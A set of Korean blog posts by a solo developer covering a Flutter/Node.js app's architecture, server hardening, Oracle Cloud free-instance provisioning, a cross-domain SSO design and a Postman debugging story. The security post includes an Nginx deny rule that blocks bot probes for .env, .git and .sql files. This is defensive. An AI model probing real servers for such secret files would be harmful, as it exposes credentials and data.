세상 버그 다 겪는 월야

Flutter + Node.js로 만든 실서비스 아키텍처 공개 (Exotiction)

월공 — Wed, 17 Jun 2026 09:22:39 +0900

프로젝트 개요

Flutter (프론트엔드) + Node.js Express (백엔드) + MySQL (DB)
Android / iOS / Web 동시 지원 멀티플랫폼 앱
파충류·양서류·절지류 사육자를 위한 사육 관리 플랫폼

폴더 구조 — Feature-First

lib/
├── core/                # 앱 전반 공통 모듈
│   ├── api/             # HTTP 클라이언트, 엔드포인트 상수
│   ├── navigation/      # 라우팅
│   ├── theme/           # 색상, 스타일 토큰
│   ├── platform/        # 플랫폼 분기 코드 격리
│   └── utils/           # 공통 유틸
└── features/            # 기능 단위로 분리
    ├── auth/
    ├── community/
    ├── pets/
    └── ui/
        ├── pages/       # 화면 파일
        └── widgets/     # 재사용 위젯

Laravel의 app/Http/Controllers, app/Models처럼 역할별로 분리하되, 기능(feature) 단위로 묶는 방식

아키텍처 패턴 — Controller / Service / Model 3계층

역할	클래스	하는 일
Controller	XxxController (StateNotifier)	상태 관리, 비즈니스 로직
Service	XxxService	API 호출, 데이터 변환
Model	XxxModel	JSON 파싱, 데이터 구조 정의
Page	XxxPage	UI 렌더링만 담당

데이터 흐름 (단방향)

Page
 └─ ref.read(controller.notifier).method()
     └─ Controller
         └─ Service → API 서버
         └─ state = state.copyWith(...)
             └─ Page 리빌드

Page는 절대 직접 API를 호출하지 않음. 반드시 Controller를 통해서만 데이터를 다룸

상태관리 — Riverpod

StateNotifierProvider<Controller, State> 사용
State 클래스는 const 생성자 + 직접 작성한 copyWith() 보유
상태 업데이트: state = state.copyWith(...) 방식만 허용, 직접 필드 변경 금지
freezed, json_serializable 등 코드 생성 도구 미사용 → 모든 모델 직접 작성
경쟁 조건 방지: async 로드마다 int _loadSequence 카운터로 구버전 응답 무시

HTTP / API 레이어

모든 HTTP 요청은 ApiClient.create(accessToken: ...) 단일 진입점 (Dio 기반)
URL 문자열은 ApiEndpoints 클래스에 상수로만 정의, 인라인 하드코딩 금지
Service는 Dio dio를 파라미터로 받음, 내부에서 직접 생성 금지
Map<String, dynamic> 형태 그대로 UI에 전달 금지 → 반드시 typed Model로 변환

라우팅 — GoRouter

경로 문자열은 AppRoutes 클래스에 static const로만 선언
동적 경로 (예: /trade/123) 는 AppRoutes.tradeDetail(id) 같은 static 메서드로 생성
context.push() / context.pop() 만 사용, Navigator.push 계열 전면 금지

UI 패턴 규칙

상황	금지	허용
토스트 메시지	SnackBar, ScaffoldMessenger	AppToast.show()
삭제/확인 다이얼로그	AlertDialog, showDialog 2버튼	showModalBottomSheet
색상	인라인 Color(0xFF...)	AppColors.xxx 토큰
이미지 처리	dart:io	XFile.readAsBytes() + Image.memory()
플랫폼 분기	각 파일에서 직접	lib/core/platform/ 에서만

백엔드 — Node.js Express

라우트 모듈 구조

module.exports = function registerXxxRoutes({ app, pool, authenticateToken, clientError, ... }) {
  app.get('/path', authenticateToken, async (req, res) => {
    // 1. 입력 검증
    // 2. DB 쿼리 (파라미터 바인딩)
    // 3. 응답
  })
}

핵심 규칙

모든 SQL 값은 파라미터 바인딩 (?), 문자열 직접 삽입 금지
에러 응답은 clientError(error, 'fallback') 경유 → 프로덕션에서 상세 에러 숨김
인증 엔드포인트에 express-rate-limit 적용
CORS는 와일드카드 금지, allowedOrigins 배열 명시
같은 행을 읽고 쓰는 핸들러는 SELECT ... FOR UPDATE + 명시적 트랜잭션 필수

DB 마이그레이션

backend/migrations/NNN_description.sql 형태로 순번 관리
ALTER TABLE ADD COLUMN에는 항상 IF NOT EXISTS 조건

API 하위 호환성 정책

배포된 앱 여러 버전이 동시에 서버를 호출하기 때문에:

기존 응답 필드 삭제/이름 변경 금지
기존 필드 타입 변경 금지 (예: string → number)
선택적이던 요청 파라미터를 필수로 변경 금지
새 필드 추가, 새 선택적 파라미터 추가는 자유롭게 가능
파괴적 변경이 불가피한 경우 /v2/... 새 엔드포인트 생성, 기존 유지

인프라

Docker Compose 구성

컨테이너	역할
nginx	리버스 프록시, SSL, 보안 헤더
api	Node.js Express 서버
db	MySQL
dozzle	컨테이너 로그 모니터링 UI

API 서버와 DB는 외부에서 직접 접근하지 않도록 제한

보안

Nginx: 프록시 환경에서도 실제 클라이언트 IP를 기준으로 로그와 보안 정책 적용, 보안 헤더 적용
Certbot: cron으로 SSL 인증서 자동 갱신
Fail2ban: SSH 브루트포스 공격 자동 차단
robots.txt 제공 및 비정상 접근 경로 차단

백업

DB 정기 백업 후 별도 서버에 보관

파일 네이밍 컨벤션

종류	경로 예시
페이지	lib/features/ui/pages/pet_detail_page.dart
컨트롤러	lib/features/pets/pets_controller.dart
서비스	lib/features/pets/pets_service.dart
모델	lib/features/pets/pets_model.dart
2개 이상 기능에서 쓰는 위젯	lib/core/widgets/widget_name.dart
1개 기능에서만 쓰는 위젯	lib/features/ui/widgets/widget_name.dart

개인 앱 서버를 운영하며 적용한 인프라·보안 셋업 정리

월공 — Fri, 12 Jun 2026 23:20:32 +0900

Flutter + Node.js 기반 앱 엑소틱션을 직접 운영하면서 적용한 인프라/보안 설정들을 정리해본다.

단순히 만들어놓고 땡이 아니라 , 꾸준한 유지보수를 진행중이고, 찾아보다가 좋은거 있으면 적용시키기도하고
실시간 모니터링 하면서 로그 이상하게 찍히는것들 관련하여 알아보고 막으면서 하나씩 차근차근 알아가고 있다.

1. Docker Compose 단일 파일로 4개 컨테이너 구성

[Nginx] , [Node Express API] , [Dozzle], [Mysql]

- 모든 포트는 a.a.a.a 로만 바인딩해서, 외부에서 컨테이너 포트에 직접 접근하는 것 자체를 차단

2. Nginx 설정

2-1 실제 클라이언트 IP 복원
리버스 프록시 뒤에서는 $remote_addr 이 프록시 IP 로 찍히기 때문에 set_real_ip_from 으로 신뢰할 대역을 지정,
X-Forwarded-For 에서 실제 IP 를 복원

set_real_ip_from 192.168.0.0/16;
set_real_ip_from 172.16.0.0/12;
set_real_ip_from 10.0.0.0/8;
real_ip_header X-Forwarded-For;
real_ip_recursive on;

# 보안 헤더
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;

2-2 .env, .git, 등 불필요한 스캔성 요청들은 nginx 단에서 즉시 차단
(실제 운영 환경에서는 더 다양한 패턴을 별도로 관리하고 있습니다.)

# 예시
location ~* \.(env|git|sql)$ {
    return 444;
}

위와 같이 봇이 쓸데없이 찔러보는 요청이 상당히 많다.
로컬 nginx 단에서 잘 막아줘야함

3. Dozzle - 컨테이너 로그 뷰어

굳이 서버에 ssh 접속 하지않고도 브라우저에서 실시간으로 Docker 로그를 볼수 있음 (엄청 편함 , 하루에 몇번은 접속하는듯)

dozzle:
  image: amir20/dozzle:latest
  volumes:
    - /var/run/docker.sock:/var/run/docker.sock:ro
  ports:
    - "127.0.0.1:9999:8080"
  environment:
    - DOZZLE_BASE=/dozzle

- Docker socket 을 read-only 로만 마운트해서 Dozzle 이 컨테이너 조작하지 못하게 함
- https://관리자URL/dozzle 로만 접근 가능하게 해놨고, nginx 에서 Basic Auth 로 보호중

4. DB 백업 - cron + mysqldump + scp

백업 서버전용으로 놓고 주기적으로 dump 를 떠서 scp 전송을 하고있다.
아직 일어나지않은 일이지만 혹시라도 내가 지금 사용중인 서버가 죽었을때를 대비해서 백업서버에도 아직 올려두지만 않았지, 20분 내로 서비스 정상화 시킬수 있게 체크리스트도 노션에 정리해서 보유중

cron 돌려서 매일 새벽 3시마다 DB 백업함과 동시에 2주 이상 된 .sql 파일은 자동삭제 처리되게 해놨음

0 3 * * * /home/ubuntu/scripts/backup_db.sh >> /var/log/db_backup.log 2>&1

5. Fail2ban - SSH 브루트포스 차단

Dozzle 이 아니라 서버에도 직접 ssh 접속해서 매일 매일 모니터링을 진행하고있는데 , Failed Login Attempt 가 너무 많이 보이길래 관련하여 알아보고 적용해놨다.

# /etc/fail2ban/jail.local
[sshd]
enabled  = true
port     = 22       
filter   = sshd
logpath  = /var/log/secure
maxretry = 5          # 5회 실패 시
findtime = 600        # 10분 이내
bantime  = 3600       # 1시간 차단

- 10분 안에 5번 SSH 로그인 실패하면 해당 IP 1시간 동안 차단
- 포트는 당연히 22 안쓰고있음, 예시로 그냥 작성함

# 차단된 IP만 깔끔하게 추출
grep "Ban " /var/log/fail2ban.log | awk '{print $NF}' | sort | uniq -c | sort -rn

위 처럼 차단된 IP 만 추출해볼수있는데 아래와 같이 엄청 많이 나온다 -_- ..

이외에 API 레이어 보안도 있고 .. OG 태그 봇 분기 , CORS 명시적 허용 등 이것저것 있는데 전부 다 쓰면 TMI 이고 ㅋㅋ

crashlytics 도 연동해서 혹 앱이 크래시되는 경우가 있으면 메일 알림까지 받고있는데

이 모든것들이 솔직히 너무 재밌다 ㅋㅋㅋㅋㅋ

웹개발 10년차가 앱 출시하면서 느낀 현실적인 후기

월공 — Sat, 9 May 2026 17:47:20 +0900

내가 키우는 봉봉이

시간이 어느덧 흘러 전혀 원치 않았지만 웹개발 10년차가 되어가고 있는데,
늘 마음 한켠에 남아있던게 있었다.

"웹 말고 앱 한번 만들어보고 싶다"

주변에서는 다들 AI 너무 좋다, 이제 개발 쉬워졌다 하는데
솔직히 개발 현직으로 있는만큼 AI 가 무섭게 몰아치면서 현타도 많이 왔었는데
그건 그거고, 가만히 있지말고 나도 한번 만들어보자 라는 마인드가 컸었다.

그렇게 결국 평소 내가 필요했던 만들고싶었던
앱을 직접 만들어보기 시작했다.

파충류/양서류/절지류 관련 커뮤니티,사육일지 앱.

"Flutter면 안드로이드/iOS 둘 다 된다며?"

언어는 Flutter로 정했다.
솔직히 이유는 단순했다.
"만들면 안드로이드, iOS 둘 다 호환", (리넥 , 아이오닉은 다음 기회에~)

처음에는 진짜 가볍게 시작했다.

Claude한테:

"파충류 사육일지 앱 만들건데 ~~~"

이런 식으로 던져서 초안부터 받아봤다.
근데 생각보다 꽤 잘해준다.

물론 완성품 수준은 아니지만
기본 UI 구조나 흐름 잡는 속도가 엄청 빨랐다.

심지어:

padding 좀 더 줘
border-radius 빼줘
gap 늘려줘
이 버튼 좀 덜 촌스럽게 해줘

이 정도만 말해도 꽤 잘 알아듣는다.

예전 같았으면 처음 레이아웃 잡는데만 몇주는 썼을텐데
AI 도움 받으니까 초기 속도 체감이 꽤 컸다.

문제는 iOS

윈도우 환경에서 한참 개발하다가
갑자기 머리를 스치는 생각이 하나 들었다.

"근데 iOS 테스트는 어떻게 하지?"

찾아보니까
결국 맥이 필요하더라.

그것도 거의 필수 수준으로.

처음엔
"아니 요즘 시대에 꼭 맥이 있어야 한다고?"

싶었는데,
이번에 그래도 제대로 앱스토어까지 출시해보고 싶었다.

결국 바로 맥미니를 질렀다.
130만원 정도, (M4, 램 24, 용량 512)

마이 퍼스트 M4

iOS 작업 필요하면 원격으로 접속해서 진행중

앱 개발은 "코딩만 하는 작업"이 아니었다

웹만 오래 했던 입장에서
앱은 생각보다 훨씬 피곤했다.

웹은 결국 브라우저 하나만 상대하면 된다.

버그 수정?
서버 수정 → 배포 → 끝.

근데 앱은 그게 안된다.

수정하고, 다시 빌드하고
스토어 다시 올리고 (지금 생각해도 빡침)
심사 다시 기다려야 한다.

이게 생각보다 스트레스가 컸다.

특히 iOS.

Xcode 처음 켰을 때 아직도 기억난다.

pod install
Generated.xcconfig
Provisioning Profile
Runner.xcworkspace
Archive

처음 보는 단어들이 끝없이 나온다.

그리고 뭘 하나 잘못 건드리면
어제까지 되던게 갑자기 안된다 ㅋㅋ
pod 뭐시기가 꼬이는 경우도 있어서 결국 ios 폴더 진입해서 다시 깔아야함ㅋㅋ

Xcode

ㅊ맞기전까진 모른다

평소에 앱 쓰면서는 너무 당연하게 느껴져서
생각조차 안했던 부분들에서 에러를 좀 맞닥뜨렸는데

대표적으로 딥링크.

앱 쓰다보면:

앱에서 열기
앱으로 보기
앱에서 보기

이런 버튼 진짜 흔하게 본다.
근데 나는 솔직히 이게 별거 아닐 줄 알았다.

"그냥 앱 열면 되는거 아님?"

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

Android, iOS 서로 방식 다르고
앱 스키마 등록해야 하고
iOS 쪽에 plist 건드려야 하고
android xml 에 intent-filter 넣어야 하고
assetlinks.json 넣어야 하고
apple-app-site-association 넣어야 하고
서버 루트 .well-known 폴더에도 각 플랫폼별 파일 다 넣어줘야 한다.

근데 또 여기서 끝이 아니다.

카카오톡 인앱브라우저 같은게 끼면
동작이 또 미묘하게 달라진다.

분명 앱은 설치되어 있는데
앱이 안 열리고 웹뷰가 한번 더 뜬다던가
스토어로 튄다던가
Android/iOS 각각 또 다르게 반응한다.

결국은 link 전용으로 처리하는 서브도메인까지 새로 파서 해결했다.
딥링크 전담 처리하고 앱 실행 시키는 방식으로 우회했다.
(가끔 카톡으로 앱 공유받을때 아래 뜨는 링크가 vercel.app 으로 되있는것들이 아마 다 이런 경우인듯 함)

이 또한 웹이었으면 그냥 링크 하나로 끝날 일이었다...

어서와 혼자는 처음이지

앱만 만든다고 끝나는 것도 아니었다.

혼자 서비스 운영하려니까
신경쓸게 진짜 많았다.

가비아 도메인 구매
Firebase 푸시알림
Cloudflare R2 이미지 저장
SOLAPI 문자 인증
문자 발신번호용 유심 개통
Oracle A1 서버로 DB 원격 백업 구축

웹보다 앱이 더 돈 많이 받는다는데..

위 말을 내가 사회초년생때부터 자주 들어왔던거같은데
예전에는 솔직히 체감이 잘 안됐다.
근데 직접 해보니까 조금은 알 것 같다.

앱은 단순히 코딩만 잘해서 되는게 아니라 ,

플랫폼 이해도 필요하고
스토어 정책도 알아야 하고
배포도 알아야 하고
기기별 이슈도 잡아야 한다.

생각보다 신경쓸게 너무 많음

앱개발자분들 진심으로 리스펙합니다...
막말로 AI 있을때도 이정도인데 없을때는 생각도 하기싫다

내가 키우는 가고일 게코

그래도 계속 한다 !!

아직 멀긴했다
지금 스토어에 각각 두개다 잘 올라가는 있는데
배포할때마다 기존 구 버전 사용자들껏도
당연히 문제없이 돌아가야하기 때문에
뭐 하나 배포할때는 신중하게, 처리를 해야하니

그건 또 하다보면 차츰 감이 생길것 같고
실제로 앱이 돌아가는걸 보면 묘하게 재밌다.

웹만 오래 하다가 앱 개발 처음 해본 입장에서 느낀 결론은 하나다.

생각보다 훨씬 빡세다.
근데 생각보다 재미..? 는 모르겠는데 뭐 여튼 묘하게 계속 하게 된다. ㅋㅋ

그래도 어디가서 "나 앱 출시 해봤다 " 정도는
말 할수 있겠다.

끝.

https://web.exotiction.kr/landing

엑소틱션 — 특별한 친구와의 모든 순간

도감, 일지, 커뮤니티. 희귀동물 애호가를 위한 앱

web.exotiction.kr

[Oracle Cloud] 무료 서버 4 OCPU / 24GB RAM 자동 선점하기 (Terraform + 자동화 스크립트) | 윈도우 기준

월공 — Fri, 1 May 2026 09:39:32 +0900

오라클 클라우드 이미 잘 가입되어있다는 가정하에 진행합니다.

저는 가입할때 한번 튕긴적이 있었는데 , 영문주소 때문에 그런듯해요
결제카드 정보 까지 다 썻는데 갑자기 가입 불가하다고 통보식으로 와서 몇분 텀 두고 다시 영문주소 꼼꼼히 쓰니까 가입 됐었습니다. (가입하니 1.38 SGD 청구 되고, Plan Upgrade 하니까 138.19 SGD 가 테스트 삼아 청구됩니다. 근데 따로 청구 취소 됐다는 알림은 못받았는데 카드내역 청구예정서 보니까 안찍혀있긴하네요.)

개발자라면 나만의 서버, 나만의 서비스를 보유하는것을 누구나 한번쯤 원하실텐데요.

Oracle Cloud는 타 클라우드와 달리 정말 강력한 무료 서버를 제공합니다. ARM 기반의 A1 인스턴스를 무려 4 OCPU, 24GB RAM, 200GB 디스크까지 완전 무료로 사용할 수 있는데요. 문제는 이 사실을 아는 사람이 너무 많아서 항상 용량이 부족하다는 겁니다. 직접 콘솔에서 만들려고 하면 "Out of host capacity" 에러만 반복해서 보게 됩니다.

그래서 Terraform과 Shell Script를 이용해서 자동으로 재시도하는 방식으로 인스턴스를 선점하는 방법을 정리해봤습니다.

■ Oracle Cloud Always Free A1 사양

CPU: 4 OCPU (ARM Ampere A1)
RAM: 24GB
디스크: 200GB
비용: 완전 무료 (Always Free 계정 기준)

단, 이 4 OCPU / 24GB는 테넌시(계정) 전체 합산 한도입니다. 여러 리전에 동시에 만들 수 없고 총합이 이 한도를 넘으면 유료로 전환됩니다.

■ 사전 준비

Oracle Cloud 계정 생성 (https://cloud.oracle.com)
API 키 생성
- 우상단 프로필 → 내 프로파일 → API 키 → API 키 추가
- 다운로드된 .pem 파일을 C:\Users\계정명.oci\ 폴더에 저장
- Tenancy OCID, User OCID, Fingerprint 메모해두기
SSH 키 생성 (Git Bash에서 실행)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/oracle_a1
Terraform 설치 (PowerShell에서 실행)
winget install HashiCorp.Terraform

■ 프로젝트 구조

oracle-a1-hunt/
├── main.tf # VCN, 서브넷, 인스턴스 등 인프라 정의
├── provider.tf # OCI 프로바이더 설정
├── variables.tf # 변수 정의
├── terraform.tfvars # 실제 자격증명 입력 (git에 올리면 안 됨)
├── cloud-init.yaml # 서버 초기화 스크립트 (Docker 등 설치)
├── hunt.sh # 자동 재시도 스크립트
└── multi-region-hunt.sh # 멀티 리전 동시 실행 스크립트

■ 핵심 파일 설명

▶ main.tf

인프라를 정의하는 핵심 파일입니다. VCN(가상 네트워크), 서브넷, 인터넷 게이트웨이, 보안 그룹, 그리고 A1 인스턴스를 선언합니다.

이미지 OCID는 하드코딩하면 시간이 지나면서 만료될 수 있어서, 아래처럼 data source로 최신 Ubuntu 22.04 ARM 이미지를 자동 조회하도록 설정했습니다.

data "oci_core_images" "ubuntu_arm" {
compartment_id = var.compartment_ocid
operating_system = "Canonical Ubuntu"
operating_system_version = "22.04"
shape = "VM.Standard.A1.Flex"
sort_by = "TIMECREATED"
sort_order = "DESC"
}

▶ hunt.sh

핵심 자동화 스크립트입니다. 최대 2000회까지 45~90초 간격으로 terraform apply를 반복 실행합니다. 성공하면 SUCCESS.txt 파일을 생성하고 종료합니다. 에러 종류에 따라 재시도 또는 즉시 종료를 구분합니다.

Out of host capacity → 정상, 자동 재시도
LimitExceeded → 즉시 종료 (쿼터 초과)
인증 에러 → 즉시 종료 (설정 문제)

▶ multi-region-hunt.sh

춘천, 도쿄, 싱가포르 3개 리전을 동시에 백그라운드로 실행합니다. 하나라도 먼저 성공하면 해당 리전에서 인스턴스가 생성됩니다.

■ terraform.tfvars 설정

아래 내용을 본인 계정 정보에 맞게 입력합니다.

tenancy_ocid = "ocid1.tenancy.oc1..xxx"
user_ocid = "ocid1.user.oc1..xxx"
fingerprint = "xx:xx:xx:xx:..."
compartment_ocid = "ocid1.tenancy.oc1..xxx"
private_key_path = "C:/Users/계정명/.oci/키파일이름.pem"
region = "ap-chuncheon-1"

주의: 이 파일은 절대 GitHub 등에 올리면 안 됩니다. .gitignore에 반드시 추가하세요.

■ 실행 방법

Git Bash에서 실행합니다.

단일 리전 (춘천)

cd ~/oracle-a1-hunt
terraform init
./hunt.sh

멀티 리전 동시 실행

./multi-region-hunt.sh

로그 확인:
tail -f ~/oracle-a1-hunt/hunt_*/hunt.log

■ 자주 보이는 에러와 해결법

▶ "did not find a proper configuration for private key"
private_key_path에 절대 경로를 입력했는지 확인하세요. ~ 경로는 Terraform이 인식하지 못할 수 있습니다.
C:/Users/계정명/.oci/키파일.pem 형식으로 입력하면 됩니다.

▶ "404-NotAuthorizedOrNotFound" (인스턴스 생성 시)
이미지 OCID가 만료되었을 가능성이 높습니다. 하드코딩된 image_ocid 대신 data source로 자동 조회하는 방식을 사용하면 해결됩니다.

▶ "LimitExceeded"
무료 쿼터(4 OCPU / 24GB)를 이미 다른 리전에서 사용 중입니다. 기존 인스턴스를 삭제 후 재시도하거나 사양을 낮춰야 합니다.

■ 성공 후 접속 방법

▶ SSH (Git Bash / 터미널)
ssh -i ~/.ssh/oracle_a1 ubuntu@서버IP

▶ PuTTY (Windows)

PuTTYgen으로 ~/.ssh/oracle_a1 파일을 oracle_a1.ppk로 변환
PuTTY 실행
Host Name: 서버 IP, Port: 22
Connection > SSH > Auth > Credentials에서 .ppk 파일 선택
Connection > Data에서 Auto-login username: ubuntu 입력

■ 서버 사양 확인

접속 후 아래 명령어로 사양을 확인할 수 있습니다.
echo "=== CPU ===" && nproc && echo "=== RAM ===" && free -h && echo "=== DISK ===" && df -h /

■ 주의사항

Always Free 한도는 테넌시 전체 합산입니다. 4 OCPU / 24GB를 초과하면 과금됩니다.
결제 안심을 위해 Oracle Cloud 콘솔에서 예산을 $1로 설정해두면 과금 발생 시 즉시 알림을 받을 수 있습니다.
(홈 리전에서 버젯 알림 설정해야합니다, 저 처럼 도쿄에서 삽질하지마십쇼 .. ㅋㅋ API ERROR 뜸)
terraform.tfvars는 절대 공개 저장소에 올리지 마세요.

■ 마치며

저도 처음에 직접 콘솔에서 수십 번 시도하다가 포기했는데, 자동화 스크립트 돌리고 나서 성공했습니다.
도쿄 리전에서 약 3분 만에 생성됐어요.
춘천에 안만들어진게 상당히 아쉽긴하다만, 뭐 이거라도 감사히 써야죠 ~!
춘천 시도하려면 기존 사양 줄이거나, 없애고 다시 시도해야된대서 괜히 없앴다가 못만들까봐 그냥 갖고있으려합니다 ㅋㅋ

Next.js와 Laravel 크로스 도메인 SSO 구현하기

월공 — Mon, 26 Jan 2026 08:58:37 +0900

환경
1. SSO 인증서버 (81) : Next.js , 구글 로그인 구현 완료, HTTPS
2. 외부 사이트 (83) : Laravel, PHP , 로그인 기능 없음, HTTP

공통사항
각 다른서버고 각 Docker에 잘 띄워져있는 상태

요약 : 로그인 기능 없는 라라벨 프로젝트를, Next.js 찍먹 하고와서 로그인 구현 되게 하고싶었음

1.전체 아키텍처

외부 사이트(83) → SSO 인증 서버(81) → Google 로그인 → Ticket 발급 → 외부 사이트로 리다이렉트

1. 83 에 접속하면 묻고 따지지도 말고 무조건 81 로 redirect 시켜줌 ( * redirect 시킬때 callbackurl=83 url 를 포함)
2. 81 서버에서 로그인 성공적으로 완료 하는순간, 어? callbackurl 외부 url 이네 ?
인식되면 81서버 자체에서 sso 로직 태움 => 티켓 발급
3. 티켓을 get param 으로 껴넣어서 다시 외부 사이트(83) 로 redirect 시켜줌
4. 83 에서 받아온거로 다시 81 쪽 API 서버에 이거 너네가 발급한거 진짜맞냐? 하고 발송
5. 81 에서는 유효한 티켓값인지 검증후, 맞다면 간략회원정보 JSON 으로 내려줌

2. 핵심 컴포넌트 (Next.js 쪽)

app/api/auth[...nextauth]/route.js 중 일부
역할: 로그인 성공 후 외부 URL을 SSO authorize로 자동 변환

async redirect({ url, baseUrl }) {
  // jwt 콜백의 DB 작업 완료 보장 (500ms 대기)
  await new Promise(resolve => setTimeout(resolve, 500));
  
  // SSO authorize URL은 그대로 반환 (무한 루프 방지)
  if (url.includes('/api/sso/authorize')) {
    return url;
  }
  
  // 내부 경로는 그대로 허용
  if (url === baseUrl || url.startsWith('/')) {
    return `${baseUrl}${url}`;
  }
  
  // 외부 URL인 경우: 허용 도메인 체크 후 SSO authorize로 변환
  const urlObj = new URL(url);
  const allowedDomains = process.env.EXTERNAL_ALLOWED_DOMAINS?.split(',') || [];
  
  const isAllowed = allowedDomains.some(domain => {
    // 호스트명 정규화 및 포트 매칭
    // 와일드카드 도메인 지원 (*.example.com)
  });
  
  if (isAllowed) {
    // 외부 URL → SSO authorize로 변환
    return `${baseUrl}/api/sso/auth?callbackUrl=${encodeURIComponent(url)}`;
  }
  
  // 허용되지 않은 외부 URL 차단
  return baseUrl;
}

app/api/sso/auth/route.js 중 일부
역할: 로그인 상태 확인 후 일회용 ticket 생성 및 외부 사이트로 리다이렉트

export async function GET(request) {
  const callbackUrl = url.searchParams.get('callbackUrl');
  
  // callbackUrl 도메인 검증
  // EXTERNAL_ALLOWED_DOMAINS 환경변수와 비교
  
  // 세션 확인
  const session = await getServerSession(authOptions);
  
  if (session && session.user) {
    // 1. 이미 로그인됨 → Ticket 발급
    const tokenPayload = await getToken({ req: request });
    const userId = tokenPayload?.userId || session.user.userId;
    
    // 2. 일회용 ticket 생성 (32바이트 랜덤)
    const ticket = randomBytes(32).toString('hex');
    
    // 3. DB에 ticket 저장 (5분 유효, user_id만 저장)
    await saveTicketToDB(ticket, userId, 300);
    
    // 4. 외부 사이트로 리다이렉트 (ticket 쿼리 파라미터 포함)
    return NextResponse.redirect(
      `${callbackUrl}?ticket=${encodeURIComponent(ticket)}`
    );
  }
  
  // 미로그인 → 로그인 페이지로 리다이렉트
  return NextResponse.redirect(
    `${baseUrl}/auth/signin?callbackUrl=${encodeURIComponent(callbackUrl)}`
  );
}

app/api/sso/verify-ticket/route.js
역할: 외부 사이트 백엔드에서 ticket 검증 및 사용자 정보 반환

export async function GET(request) {
  // API 키 검증 (X-API-Key 헤더)
  const apiKey = request.headers.get('X-API-Key');
  if (apiKey !== process.env.EXTERNAL_API_KEY) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }
  
  const ticket = searchParams.get('ticket');
  
  // 1. Ticket 조회 (DB에서 user_id만 가져옴)
  const userId = await getTicketFromDB(ticket);
  
  if (!userId) {
    return NextResponse.json(
      { error: 'Invalid or expired ticket' },
      { status: 401 }
    );
  }
  
  // 2. ★ 중요: 일회용 보장을 위해 즉시 삭제 (Replay Attack 방지)
  await deleteTicketFromDB(ticket);
  
  // 3. user_id로 멤버 정보 조회
  const member = await getMemberById(userId);
  
  // 4. 사용자 정보 반환
  return NextResponse.json({
    id: member.id,
    email: member.email,
    name: member.name,
    mondayId: member.monday_id,
    role: member.role,
    // ... 기타 정보
  });
}

3. 핵심 컴포넌트 (Laravel 쪽)

Laravel에서는 미들웨어로 SSO 인증을 처리

역할: ticket 검증 및 세션 관리주요 동작:
- 세션 우선 확인: 세션이 있으면 통과 (새로고침 대응)
- Ticket 검증: ticket이 있으면 SSO 서버의 /api/sso/verify-ticket API 호출
- 회원정보 수신: JSON 응답으로 받은 회원정보를 세션에 저장
- 자동 리다이렉트: 세션/ticket 모두 없으면 SSO 서버의 /api/sso/auth로 리다이렉트

// routes/web.php
Route::get('/cast', function () {
    $user = request()->attributes->get('verify_session_user');
    $monday_id = $user['mondayId'] ?? null;
    
    return view('cast', [
        'pulse_id' => request()->query('pulse_id'),
        'monday_id' => $monday_id,
    ]);
})->middleware('verify.external.session');

크로스 도메인 sso 핵심 설계 포인트

- 일회용 Ticket: 조회 즉시 삭제로 재사용 방지
- 만료 시간: 5분으로 제한
- 비동기 처리 보장: redirect 콜백에서 500ms 대기로 DB 작업 완료 보장
- 도메인 정규화: localhost, 127.0.0.1 등 통일 처리
- Soft Delete: 로깅 목적으로 물리 삭제 대신 deleted_at 사용

https 에서 http 로 연결하는거라 좀 번거롭긴했다.
어쩔수없이 http 를 사용해야되는 상황이라 .. 여기저기 물려있는게 많아서 https 로 바꾸게되면
어떤 사이드 이펙트가 터질지 모름 ㄷㄷ

둘다 https 였으면 사실 그냥 laravel 에서 next.js api 때려서 쿠키 가져와서 금방 해결됐을텐데, http 라서 문제가 좀 생겨가지고
어쩔수없이 티켓 발급 방식으로 교체함

포스팅하니 이런저런 내용은 다 제외됐는데 , 두 프로젝트 동시에 켜놓고 .env 각각 맞춰서 기재하고 관리하는데 어우... ㅋㅋ
그래도 재미난 경험이었다

Postman에서는 400, curl에서는 정상 | 로컬 Docker POST 요청 삽질기

월공 — Wed, 21 Jan 2026 10:19:26 +0900

1. 테스트 배경

로컬 Docker 환경에서 Next.js API(Route Handler) 를 사용해
외부에서 호출 가능한 POST API를 개발 중에 있었고 다음과 같은 특징을 지님

Next.js App Router 기반 (route.ts)
POST 요청에서 JSON body 수신
API Key 인증
Slack Webhook 처리 로직
Docker Compose로 로컬 환경 구성

그런데 이상한 문제가 발생했다.

2. 문제 상황 요약

❌ Postman에서 호출 시

같은 URL
같은 JSON payload
같은 Header (Content-Type: application/json)
body(raw data)가 있으면 무조건 400 Bad Request - 이미지 1 첨부
body 없이 POST 하면 정상 응답 - 이미지 2 첨부

(이미지 1) body 데이터 존재하면 아래와 같이 400 Bad Request

(이미지 2) body 데이터 없으면 아래와 같이 정상은 아니지만 어쨋든 호출도 되고 로그도 찍힘

raw data 있으면 console 이고 나발이고 컨테이너 로그 조차 찍히지않음 .

✅ curl(Git Bash)에서 호출 시

완전히 동일한 JSON
정상적으로 POST 요청 처리됨
서버 로그도 정상 출력
curl 테스트 명령어 (정상 동작)

curl -X POST http://localhost:8010/api/slack/webhook \
  -H "Content-Type: application/json" \
  -H "x-api-key: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
  -d '{
    "to_slack_id": "U123456",
    "text": "테스트 메시지"
  }'

✅ 서버에 배포 후 테스트

Postman에서도 정상 작동 (기존 로컬에서 body data 껴넣어서 호출하면 안되던게 서버에 배포후 호출하는건 정상작동)

즉, 로컬 + Postman 조합에서만 문제가 발생

3. 테스트 환경 정리

로컬 환경

OS: Windows 10
Shell: Git Bash
Docker Desktop (Linux Container)
Docker Compose v3.8

Docker 구성

API 컨테이너 (Next.js)
MySQL 컨테이너
Custom Docker Network 사용

API 스택

Next.js App Router (route.ts)
Middleware 사용
JSON body 직접 파싱 (request.text() → JSON.parse)
Runtime: Node.js

챗지피티가 포스트맨이 로컬 도커 , 노드 환경에서 요청 다르게 보낼수있다고 함..
윈도우 환경에서 줄바꿈 문제 섞이면서 파싱 실패하는 경우가 있다고..

사실 근데 이부분도 어차피 챗지피티가 알려준거라..
